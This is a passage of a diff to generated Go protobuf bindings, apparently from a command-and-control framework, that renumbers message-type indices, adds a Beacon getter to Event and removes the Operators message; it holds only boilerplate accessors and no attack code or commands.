json:"Err,omitempty"` // Can't trigger normal gRPC error } func (x *Event) Reset() { *x = Event{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[64] + mi := &file_clientpb_client_proto_msgTypes[71] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6206,7 +6729,7 @@ func (x *Event) String() string { func (*Event) ProtoMessage() {} func (x *Event) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[64] + mi := &file_clientpb_client_proto_msgTypes[71] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6219,7 +6742,7 @@ func (x *Event) ProtoReflect() protoreflect.Message { // Deprecated: Use Event.ProtoReflect.Descriptor instead. func (*Event) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{64} + return file_clientpb_client_proto_rawDescGZIP(), []int{71} } func (x *Event) GetEventType() string { @@ -6236,6 +6759,13 @@ func (x *Event) GetSession() *Session { return nil } +func (x *Event) GetBeacon() *Beacon { + if x != nil { + return x.Beacon + } + return nil +} + func (x *Event) GetJob() *Job { if x != nil { return x.Job @@ -6264,53 +6794,6 @@ func (x *Event) GetErr() string { return "" } -type Operators struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Operators []*Operator `protobuf:"bytes,1,rep,name=Operators,proto3" json:"Operators,omitempty"` -} - -func (x *Operators) Reset() { - *x = Operators{} - if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[65] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *Operators) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*Operators) ProtoMessage() {} - -func (x *Operators) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[65] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use Operators.ProtoReflect.Descriptor instead. -func (*Operators) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{65} -} - -func (x *Operators) GetOperators() []*Operator { - if x != nil { - return x.Operators - } - return nil -} - type Operator struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -6323,7 +6806,7 @@ type Operator struct { func (x *Operator) Reset() { *x = Operator{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[66] + mi := &file_clientpb_client_proto_msgTypes[72] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6336,7 +6819,7 @@ func (x *Operator) String() string { func (*Operator) ProtoMessage() {} func (x *Operator) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[66] + mi := &file_clientpb_client_proto_msgTypes[72] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6349,7 +6832,7 @@ func (x *Operator) ProtoReflect() protoreflect.Message { // Deprecated: Use Operator.ProtoReflect.Descriptor instead. func (*Operator) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{66} + return file_clientpb_client_proto_rawDescGZIP(), []int{72} } func (x *Operator) GetOnline() bool { @@ -6383,7 +6866,7 @@ type WebContent struct { func (x *WebContent) Reset() { *x = WebContent{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[67] + mi := &file_clientpb_client_proto_msgTypes[73] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6396,7 +6879,7 @@ func (x *WebContent) String() string { func (*WebContent) ProtoMessage() {} func (x *WebContent) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[67] + mi := &file_clientpb_client_proto_msgTypes[73] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6409,7 +6892,7 @@ func (x *WebContent) ProtoReflect() protoreflect.Message { // Deprecated: Use WebContent.ProtoReflect.Descriptor instead. func (*WebContent) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{67} + return file_clientpb_client_proto_rawDescGZIP(), []int{73} } func (x *WebContent) GetID() string { @@ -6466,7 +6949,7 @@ type WebsiteAddContent struct { func (x *WebsiteAddContent) Reset() { *x = WebsiteAddContent{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[68] + mi := &file_clientpb_client_proto_msgTypes[74] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6479,7 +6962,7 @@ func (x *WebsiteAddContent) String() string { func (*WebsiteAddContent) ProtoMessage() {} func (x *WebsiteAddContent) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[68] + mi := &file_clientpb_client_proto_msgTypes[74] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6492,7 +6975,7 @@ func (x *WebsiteAddContent) ProtoReflect() protoreflect.Message { // Deprecated: Use WebsiteAddContent.ProtoReflect.Descriptor instead. func (*WebsiteAddContent) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{68} + return file_clientpb_client_proto_rawDescGZIP(), []int{74} } func (x *WebsiteAddContent) GetName() string { @@ -6521,7 +7004,7 @@ type WebsiteRemoveContent struct { func (x *WebsiteRemoveContent) Reset() { *x = WebsiteRemoveContent{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[69] + mi := &file_clientpb_client_proto_msgTypes[75] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6534,7 +7017,7 @@ func (x *WebsiteRemoveContent) String() string { func (*WebsiteRemoveContent) ProtoMessage() {} func (x *WebsiteRemoveContent) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[69] + mi := &file_clientpb_client_proto_msgTypes[75] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6547,7 +7030,7 @@ func (x *WebsiteRemoveContent) ProtoReflect() protoreflect.Message { // Deprecated: Use WebsiteRemoveContent.ProtoReflect.Descriptor instead. func (*WebsiteRemoveContent) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{69} + return file_clientpb_client_proto_rawDescGZIP(), []int{75} } func (x *WebsiteRemoveContent) GetName() string { @@ -6577,7 +7060,7 @@ type Website struct { func (x *Website) Reset() { *x = Website{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[70] + mi := &file_clientpb_client_proto_msgTypes[76] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6590,7 +7073,7 @@ func (x *Website) String() string { func (*Website) ProtoMessage() {} func (x *Website) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[70] + mi := &file_clientpb_client_proto_msgTypes[76] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6603,7 +7086,7 @@ func (x *Website) ProtoReflect() protoreflect.Message { // Deprecated: Use Website.ProtoReflect.Descriptor instead. func (*Website) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{70} + return file_clientpb_client_proto_rawDescGZIP(), []int{76} } func (x *Website) GetID() string { @@ -6638,7 +7121,7 @@ type Websites struct { func (x *Websites) Reset() { *x = Websites{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[71] + mi := &file_clientpb_client_proto_msgTypes[77] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6651,7 +7134,7 @@ func (x *Websites) String() string { func (*Websites) ProtoMessage() {} func (x *Websites) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[71] + mi := &file_clientpb_client_proto_msgTypes[77] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6664,7 +7147,7 @@ func (x *Websites) ProtoReflect() protoreflect.Message { // Deprecated: Use Websites.ProtoReflect.Descriptor instead. func (*Websites) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{71} + return file_clientpb_client_proto_rawDescGZIP(), []int{77} } func (x *Websites) GetWebsites() []*Website { @@ -6688,7 +7171,7 @@ type WGClientConfig struct { func (x *WGClientConfig) Reset() { *x = WGClientConfig{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[72] + mi := &file_clientpb_client_proto_msgTypes[78] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6701,7 +7184,7 @@ func (x *WGClientConfig) String() string { func (*WGClientConfig) ProtoMessage() {} func (x *WGClientConfig) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[72] + mi := &file_clientpb_client_proto_msgTypes[78] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6714,7 +7197,7 @@ func (x *WGClientConfig) ProtoReflect() protoreflect.Message { // Deprecated: Use WGClientConfig.ProtoReflect.Descriptor instead. func (*WGClientConfig) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{72} + return file_clientpb_client_proto_rawDescGZIP(), []int{78} } func (x *WGClientConfig) GetServerPubKey() string { @@ -6761,7 +7244,7 @@ type Loot struct { func (x *Loot) Reset() { *x = Loot{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[73] + mi := &file_clientpb_client_proto_msgTypes[79] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6774,7 +7257,7 @@ func (x *Loot) String() string { func (*Loot) ProtoMessage() {} func (x *Loot) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[73] + mi := &file_clientpb_client_proto_msgTypes[79] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6787,7 +7270,7 @@ func (x *Loot) ProtoReflect() protoreflect.Message { // Deprecated: Use Loot.ProtoReflect.Descriptor instead. func (*Loot) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{73} + return file_clientpb_client_proto_rawDescGZIP(), []int{79} } func (x *Loot) GetID() string { @@ -6843,7 +7326,7 @@ type AllLoot struct { func (x *AllLoot) Reset() { *x = AllLoot{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[74] + mi := &file_clientpb_client_proto_msgTypes[80] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6856,7 +7339,7 @@ func (x *AllLoot) String() string { func (*AllLoot) ProtoMessage() {} func (x *AllLoot) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[74] + mi := &file_clientpb_client_proto_msgTypes[80] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6869,7 +7352,7 @@ func (x *AllLoot) ProtoReflect() protoreflect.Message { // Deprecated: Use AllLoot.ProtoReflect.Descriptor instead. func (*AllLoot) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{74} + return file_clientpb_client_proto_rawDescGZIP(), []int{80} } func (x *AllLoot) GetLoot() []*Loot { @@ -6893,7 +7376,7 @@ type IOC struct { func (x *IOC) Reset() { *x = IOC{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[75] + mi := &file_clientpb_client_proto_msgTypes[81] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6906,7 +7389,7 @@ func (x *IOC) String() string { func (*IOC) ProtoMessage() {} func (x *IOC) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[75] + mi := &file_clientpb_client_proto_msgTypes[81] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6919,7 +7402,7 @@ func (x *IOC) ProtoReflect() protoreflect.Message { // Deprecated: Use IOC.ProtoReflect.Descriptor instead. func (*IOC) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{75} + return file_clientpb_client_proto_rawDescGZIP(), []int{81} } func (x *IOC) GetPath() string { @@ -6954,7 +7437,7 @@ type ExtensionData struct { func (x *ExtensionData) Reset() { *x = ExtensionData{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[76] + mi := &file_clientpb_client_proto_msgTypes[82] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6967,7 +7450,7 @@ func (x *ExtensionData) String() string { func (*ExtensionData) ProtoMessage() {} func (x *ExtensionData) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[76] + mi := &file_clientpb_client_proto_msgTypes[82] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6980,7 +7463,7 @@ func (x *ExtensionData) ProtoReflect() protoreflect.Message { // Deprecated: Use ExtensionData.ProtoReflect.Descriptor instead. func (*ExtensionData) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{76} + return file_clientpb_client_proto_rawDescGZIP(), []int{82} } func (x *ExtensionData) GetOutput() string { @@ -7008,7 +7491,7 @@ type Host struct { func (x *Host) Reset() { *x = Host{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[77] + mi := &file_clientpb_client_proto_msgTypes[83] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7021,7 +7504,7 @@ func (x *Host) String() string { func (*Host) ProtoMessage() {} func (x *Host) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[77] + mi := &file_clientpb_client_proto_msgTypes[83] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7034,7 +7517,7 @@ func (x *Host) ProtoReflect() protoreflect.Message { // Deprecated: Use Host.ProtoReflect.Descriptor instead. func (*Host) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{77} + return file_clientpb_client_proto_rawDescGZIP(), []int{83} } func (x *Host) GetID() string { @@ -7104,7 +7587,7 @@ type AllHosts struct { func (x *AllHosts) Reset() { *x = AllHosts{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[78] + mi := &file_clientpb_client_proto_msgTypes[84] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7117,7 +7600,7 @@ func (x *AllHosts) String() string { func (*AllHosts) ProtoMessage() {} func (x *AllHosts) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[78] + mi := &file_clientpb_client_proto_msgTypes[84] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7130,7 +7613,7 @@ func (x *AllHosts) ProtoReflect() protoreflect.Message { // Deprecated: Use AllHosts.ProtoReflect.Descriptor instead. func (*AllHosts) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{78} + return file_clientpb_client_proto_rawDescGZIP(), []int{84} } func (x *AllHosts) GetHosts() []*Host { @@ -7158,7 +7641,7 @@ type DllHijackReq struct { func (x *DllHijackReq) Reset() { *x = DllHijackReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[79] + mi := &file_clientpb_client_proto_msgTypes[85] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7171,7 +7654,7 @@ func (x *DllHijackReq) String() string { func (*DllHijackReq) ProtoMessage() {} func (x *DllHijackReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[79] + mi := &file_clientpb_client_proto_msgTypes[85] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7184,7 +7667,7 @@ func (x *DllHijackReq) ProtoReflect() protoreflect.Message { // Deprecated: Use DllHijackReq.ProtoReflect.Descriptor instead. func (*DllHijackReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{79} + return file_clientpb_client_proto_rawDescGZIP(), []int{85} } func (x *DllHijackReq) GetReferenceDLLPath() string { @@ -7247,7 +7730,7 @@ type DllHijack struct { func (x *DllHijack) Reset() { *x = DllHijack{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[80] + mi := &file_clientpb_client_proto_msgTypes[86] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7260,7 +7743,7 @@ func (x *DllHijack) String() string { func (*DllHijack) ProtoMessage() {} func (x *DllHijack) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[80] + mi := &file_clientpb_client_proto_msgTypes[86] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7273,7 +7756,7 @@ func (x *DllHijack) ProtoReflect() protoreflect.Message { // Deprecated: Use DllHijack.ProtoReflect.Descriptor instead. func (*DllHijack) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{80} + return file_clientpb_client_proto_rawDescGZIP(), []int{86} } func (x *DllHijack) GetResponse() *commonpb.Response { @@ -7297,7 +7780,7 @@ type BackdoorReq struct { func (x *BackdoorReq) Reset() { *x = BackdoorReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[81] + mi := &file_clientpb_client_proto_msgTypes[87] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7310,7 +7793,7 @@ func (x *BackdoorReq) String() string { func (*BackdoorReq) ProtoMessage() {} func (x *BackdoorReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[81] + mi := &file_clientpb_client_proto_msgTypes[87] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7323,7 +7806,7 @@ func (x *BackdoorReq) ProtoReflect() protoreflect.Message { // Deprecated: Use BackdoorReq.ProtoReflect.Descriptor instead. func (*BackdoorReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{81} + return file_clientpb_client_proto_rawDescGZIP(), []int{87} } func (x *BackdoorReq) GetFilePath() string { @@ -7365,7 +7848,7 @@ type Backdoor struct { func (x *Backdoor) Reset() { *x = Backdoor{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[82] + mi := &file_clientpb_client_proto_msgTypes[88] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7378,7 +7861,7 @@ func (x *Backdoor) String() string { func (*Backdoor) ProtoMessage() {} func (x *Backdoor) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[82] + mi := &file_clientpb_client_proto_msgTypes[88] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7391,7 +7874,7 @@ func (x *Backdoor) ProtoReflect() protoreflect.Message { // Deprecated: Use Backdoor.ProtoReflect.Descriptor instead. func (*Backdoor) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{82} + return file_clientpb_client_proto_rawDescGZIP(), []int{88} } func (x *Backdoor) GetResponse() *commonpb.Response { @@ -7417,7 +7900,7 @@ type ShellcodeEncodeReq struct { func (x *ShellcodeEncodeReq) Reset() { *x = ShellcodeEncodeReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[83] + mi := &file_clientpb_client_proto_msgTypes[89] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7430,7 +7913,7 @@ func (x *ShellcodeEncodeReq) String() string { func (*ShellcodeEncodeReq) ProtoMessage() {} func (x *ShellcodeEncodeReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[83] + mi := &file_clientpb_client_proto_msgTypes[89] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7443,7 +7926,7 @@ func (x *ShellcodeEncodeReq) ProtoReflect() protoreflect.Message { // Deprecated: Use ShellcodeEncodeReq.ProtoReflect.Descriptor instead. func (*ShellcodeEncodeReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{83} + return file_clientpb_client_proto_rawDescGZIP(), []int{89} } func (x *ShellcodeEncodeReq) GetEncoder() ShellcodeEncoder { @@ -7500,7 +7983,7 @@ type ShellcodeEncode struct { func (x *ShellcodeEncode) Reset() { *x = ShellcodeEncode{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[84] + mi := &file_clientpb_client_proto_msgTypes[90] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7513,7 +7996,7 @@ func (x *ShellcodeEncode) String() string { func (*ShellcodeEncode) ProtoMessage() {} func (x *ShellcodeEncode) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[84] + mi := &file_clientpb_client_proto_msgTypes[90] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7526,7 +8009,7 @@ func (x *ShellcodeEncode) ProtoReflect() protoreflect.Message { // Deprecated: Use ShellcodeEncode.ProtoReflect.Descriptor instead. func (*ShellcodeEncode) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{84} + return file_clientpb_client_proto_rawDescGZIP(), []int{90} } func (x *ShellcodeEncode) GetData() []byte { @@ -7554,7 +8037,7 @@ type ShellcodeEncoderMap struct { func (x *ShellcodeEncoderMap) Reset() { *x = ShellcodeEncoderMap{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[85] + mi := &file_clientpb_client_proto_msgTypes[91] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7567,7 +8050,7 @@ func (x *ShellcodeEncoderMap) String() string { func (*ShellcodeEncoderMap) ProtoMessage() {} func (x *ShellcodeEncoderMap) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[85] + mi := &file_clientpb_client_proto_msgTypes[91] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7580,7 +8063,7 @@ func (x *ShellcodeEncoderMap) ProtoReflect() protoreflect.Message { // Deprecated: Use ShellcodeEncoderMap.ProtoReflect.Descriptor instead. func (*ShellcodeEncoderMap) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{85} + return file_clientpb_client_proto_rawDescGZIP(), []int{91} } func (x *ShellcodeEncoderMap) GetEncoders() map[string]ShellcodeEncoder { @@ -7603,7 +8086,7 @@ type ExternalGenerateReq struct { func (x *ExternalGenerateReq) Reset() { *x = ExternalGenerateReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[86] + mi := &file_clientpb_client_proto_msgTypes[92] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7616,7 +8099,7 @@ func (x *ExternalGenerateReq) String() string { func (*ExternalGenerateReq) ProtoMessage() {} func (x *ExternalGenerateReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[86] + mi := &file_clientpb_client_proto_msgTypes[92] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7629,7 +8112,7 @@ func (x *ExternalGenerateReq) ProtoReflect() protoreflect.Message { // Deprecated: Use ExternalGenerateReq.ProtoReflect.Descriptor instead. func (*ExternalGenerateReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{86} + return file_clientpb_client_proto_rawDescGZIP(), []int{92} } func (x *ExternalGenerateReq) GetConfig() *ImplantConfig { @@ -7664,7 +8147,7 @@ type Builders struct { func (x *Builders) Reset() { *x = Builders{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[87] + mi := &file_clientpb_client_proto_msgTypes[93] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7677,7 +8160,7 @@ func (x *Builders) String() string { func (*Builders) ProtoMessage() {} func (x *Builders) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[87] + mi := &file_clientpb_client_proto_msgTypes[93] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7690,7 +8173,7 @@ func (x *Builders) ProtoReflect() protoreflect.Message { // Deprecated: Use Builders.ProtoReflect.Descriptor instead. func (*Builders) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{87} + return file_clientpb_client_proto_rawDescGZIP(), []int{93} } func (x *Builders) GetBuilders() []*Builder { @@ -7717,7 +8200,7 @@ type Builder struct { func (x *Builder) Reset() { *x = Builder{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[88] + mi := &file_clientpb_client_proto_msgTypes[94] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7730,7 +8213,7 @@ func (x *Builder) String() string { func (*Builder) ProtoMessage() {} func (x *Builder) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[88] + mi := &file_clientpb_client_proto_msgTypes[94] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7743,7 +8226,7 @@ func (x *Builder) ProtoReflect() protoreflect.Message { // Deprecated: Use Builder.ProtoReflect.Descriptor instead. func (*Builder) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{88} + return file_clientpb_client_proto_rawDescGZIP(), []int{94} } func (x *Builder) GetName() string { @@ -7807,7 +8290,7 @@ type HTTPC2Configs struct { func (x *HTTPC2Configs) Reset() { *x = HTTPC2Configs{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[89] + mi := &file_clientpb_client_proto_msgTypes[95] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7820,7 +8303,7 @@ func (x *HTTPC2Configs) String() string { func (*HTTPC2Configs) ProtoMessage() {} func (x *HTTPC2Configs) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[89] + mi := &file_clientpb_client_proto_msgTypes[95] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7833,7 +8316,7 @@ func (x *HTTPC2Configs) ProtoReflect() protoreflect.Message { // Deprecated: Use HTTPC2Configs.ProtoReflect.Descriptor instead. func (*HTTPC2Configs) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{89} + return file_clientpb_client_proto_rawDescGZIP(), []int{95} } func (x *HTTPC2Configs) GetConfigs() []*HTTPC2Config { @@ -7854,7 +8337,7 @@ type C2ProfileReq struct { func (x *C2ProfileReq) Reset() { *x = C2ProfileReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[90] + mi := &file_clientpb_client_proto_msgTypes[96] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7867,7 +8350,7 @@ func (x *C2ProfileReq) String() string { func (*C2ProfileReq) ProtoMessage() {} func (x 